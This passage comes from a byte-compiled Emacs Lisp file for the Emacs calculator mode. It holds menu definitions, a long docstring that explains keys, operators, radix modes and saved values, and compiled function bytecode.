calculator-use-menu op radix-selectors current-load-list calculator-displayers "IC" "Inv-Tangent" "IT" "------Bitwise------" "Or" "|" "Xor" "#" "And" "&" "Not" "~" "Saved List" ["Eval+Save" calculator-save-on-list] ["Prev number" calculator-saved-up] ["Next number" calculator-saved-down] ["Delete current" calculator-clear :active (and calculator-display-fragile calculator-saved-list (= (car calculator-stack) (nth calculator-saved-ptr calculator-saved-list)))] ["Delete all" calculator-clear-saved] "List-total" "l" "List-average" "v" ("Registers" ["Get register" calculator-get-register] ["Set register" calculator-set-register]) "Modes" ["Radians" (progn (and (or calculator-input-radix calculator-output-radix) (calculator-radix-mode "D")) (and calculator-deg (calculator-dec/deg-mode))) :keys "D" :style radio :selected (not (or calculator-input-radix calculator-output-radix calculator-deg))] ["Degrees" (progn (and (or calculator-input-radix calculator-output-radix) (calculator-radix-mode "D")) (or calculator-deg (calculator-dec/deg-mode))) :keys "D" :style radio :selected (and calculator-deg (not (or calculator-input-radix calculator-output-radix)))] append car "Separate I/O" #[(x) "A@\207" [x] 1] ("---") #[(x) "\3018\207" [x 2] 2] "Decimal Display" #[(d) "\302\211A@)\303\304DD\"\207" [d x vector calculator-rotate-displayer quote] 6] ("---" ["Change Prev Display" calculator-displayer-prev] ["Change Next Display" calculator-displayer-next]) ("---" ["Copy+Quit" calculator-save-and-quit] ["Quit" calculator-quit])] 36) #@4738 A [not so] simple calculator for Emacs. This calculator is used in the same way as other popular calculators like xcalc or calc.exe - but using an Emacs interface. Expressions are entered using normal infix notation, parens are used as normal. Unary functions are usually postfix, but some depends on the value of `calculator-unary-style' (if the style for an operator below is specified, then it is fixed, otherwise it depends on this variable). `+' and `-' can be used as either binary operators or prefix unary operators. Numbers can be entered with exponential notation using `e', except when using a non-decimal radix mode for input (in this case `e' will be the hexadecimal digit). If the result of a calculation is too large (out of range for Emacs), the value of "inf" is returned. Here are the editing keys: * `RET' `=' evaluate the current expression * `C-insert' copy the whole current expression to the `kill-ring' * `C-return' evaluate, save result the `kill-ring' and exit * `insert' paste a number if the one was copied (normally) * `delete' `C-d' clear last argument or whole expression (hit twice) * `backspace' delete a digit or a previous expression element * `h' `?' pop-up a quick reference help * `ESC' `q' exit (`ESC' can be used if `calculator-bind-escape' is non-nil, otherwise use three consecutive `ESC's) These operators are pre-defined: * `+' `-' `*' `/' the common binary operators * `\' `%' integer division and reminder * `_' `;' postfix unary negation and reciprocal * `^' `L' binary operators for x^y and log(x) in base y * `Q' `!' unary square root and factorial * `S' `C' `T' unary trigonometric operators - sin, cos and tan * `|' `#' `&' `~' bitwise operators - or, xor, and, not The trigonometric functions can be inverted if prefixed with an `I', see below for the way to use degrees instead of the default radians. Two special postfix unary operators are `>' and `<': whenever a binary operator is performed, it is remembered along with its arguments; then `>' (`<') will apply the same operator with the same right (left) argument. hex/oct/bin modes can be set for input and for display separately. Another toggle-able mode is for using degrees instead of radians for trigonometric functions. The keys to switch modes are (`X' is shortcut for `H'): * `D' switch to all-decimal mode, or toggle degrees/radians * `B' `O' `H' `X' binary/octal/hexadecimal modes for input & display * `i' `o' followed by one of `D' `B' `O' `H' `X' (case insensitive) sets only the input or display radix mode The prompt indicates the current modes: * "D=": degrees mode; * "?=": (? is B/O/H) this is the radix for both input and output; * "=?": (? is B/O/H) the display radix (when input is decimal); * "??": (? is D/B/O/H) 1st char for input radix, 2nd for display. Also, the quote key can be used to switch display modes for decimal numbers (double-quote rotates back), and the two brace characters ("{" and "}" change display parameters that these displayers use (if they handle such). If output is using any radix mode, then these keys toggle digit grouping mode and the chunk size. Values can be saved for future reference in either a list of saved values, or in registers. The list of saved values is useful for statistics operations on some collected data. It is possible to navigate in this list, and if the value shown is the current one on the list, an indication is displayed as "[N]" if this is the last number and there are N numbers, or "[M/N]" if the M-th value is shown. * `SPC' evaluate the current value as usual, but also adds the result to the list of saved values * `l' `v' computes total / average of saved values * `up' `C-p' browse to the previous value in the list * `down' `C-n' browse to the next value in the list * `delete' `C-d' remove current value from the list (if it is on it) * `C-delete' `C-c' delete the whole list Registers are variable-like place-holders for values: * `s' followed by a character attach the current value to that character * `g' followed by a character fetches the attached value There are many variables that can be used to customize the calculator. Some interesting customization variables are: * `calculator-electric-mode' use only the echo-area electrically. * `calculator-unary-style' set most unary ops to pre/postfix style. * `calculator-user-registers' to define user-preset registers. * `calculator-user-operators' to add user-defined operators. See the documentation for these variables, and "calculator.el" for more information. \{calculator-mode-map} (defalias 'calculator-mode #[nil "\303 \210\304\305\306\n!\210\307\310!\207" [major-mode mode-name calculator-mode-map kill-all-local-variables calculator-mode "Calculator" use-local-map run-mode-hooks calculator-mode-hook] 2 (#$ . 18333) nil]) #@93 Run the Emacs calculator. See the documentation for `calculator-mode' for more information. (defalias 'calculator #[nil "\203 ?\n\203 \306\n!\210\307\306!\210\310\311! \203# \312\213\210\202\356 \313\f!\204\325 \307\314#\315\316\317\320!\203\311 \321\320\322!\323\"$\320\324!%\321%\323\"&$\250\203^ &\250\203^ &$W\206o &\247\205o &\250?\205o &\325W?\205\301 $\250\203\207 &\250\203\207 &$V\206\301 &\247\203\232 &\250\204\232 &\325V\206\301 \321%\326\"'\321'\327\"('\205\267 (?\206\267 (\330V*\206\301 \321\320\324!\331\"+\203\311 \332\202\312 \333!!\210\334\f!\210*\202\341 p\f=\204\341 \315\313\f!!\210\335 \210\336)\337 \210\340\341!\210\205\370 \205\370 \342 \207" [calculator-restart-other-mode calculator-electric-mode calculator-initial-operators calculator-user-operators calculator-buffer window-min-height calculator-add-operators nil get-buffer-create "*calculator*" ((byte-code "\306\307!\210\310\311!\210\311\211\312\311\313\314 \f\"\210\315\314 !\210\316 \210\317 \210\320 \321 \321 \322\311!\210\323!\210\324\325!\210\326\216\327\330\215\210-\311\207" [garbage-collection-messages echo-keystrokes old-l-map old-g-map calculator-buffer calculator-saved-global-map require electric message nil 0 set-window-buffer minibuffer-window select-window calculator-reset calculator-update-display current-local-map current-global-map use-local-map use-global-map run-hooks calculator-mode-hook ((byte-code "\203 \303\304\215\210\305 !\210\306\n!\207" [calculator-buffer old-l-map old-g-map calculator-done (calculator-quit) use-local-map use-global-map] 2)) calculator-done (byte-code "\300\301\302\303\304$\207" [Electric-command-loop calculator-done (lambda nil 'noprompt) nil #[(x y) "\300 \207" [calculator-update-display] 1]] 5) calculator-mode-map] 4)) get-buffer-window 2 select-window split-window-vertically fboundp face-attr-construct plist-get default :height modeline 1 :box :line-width 0 :overline -3 -2 switch-to-buffer calculator-mode t calculator-reset message "Hit `?' For a quick help screen." calculator split-window-keep-point dh mf mh bx lh buffer-read-only] 5 (#$ . 23323) nil]) #@57 Same as `message', but special handle of electric mode. (defalias 'calculator-message #[(string &rest arguments) "\303\304 #\210\n\205 \305\306!\210\304\307!\207" [string arguments calculator-electric-mode apply message sit-for 1 nil] 4 (#$ . 25484)]) #@33 Return OP's arity, 2, +1 or -1. (defalias 'calculator-op-arity #[(op) "\3038\206 \304\211\247\203 \202 \n\305=\203 \306\202 \307)\207" [op arity calculator-unary-style 3 x postfix 1 -1] 3 (#$ . 25744)]) #@83 Return OP's precedence for reducing when inserting into the stack. Defaults to 1. (defalias 'calculator-op-prec #[(op) "\3018\206 \302\207" [op 4 1] 2 (#$ . 25961)]) #@173 This function handles operator addition. Adds MORE-OPS to `calculator-operator', called initially to handle `calculator-initial-operators' and `calculator-user-operators'. (defalias 'calculator-add-operators #[(more-ops) "\306 \203] @@\307=\204C \310 @@T\211\nGW\203<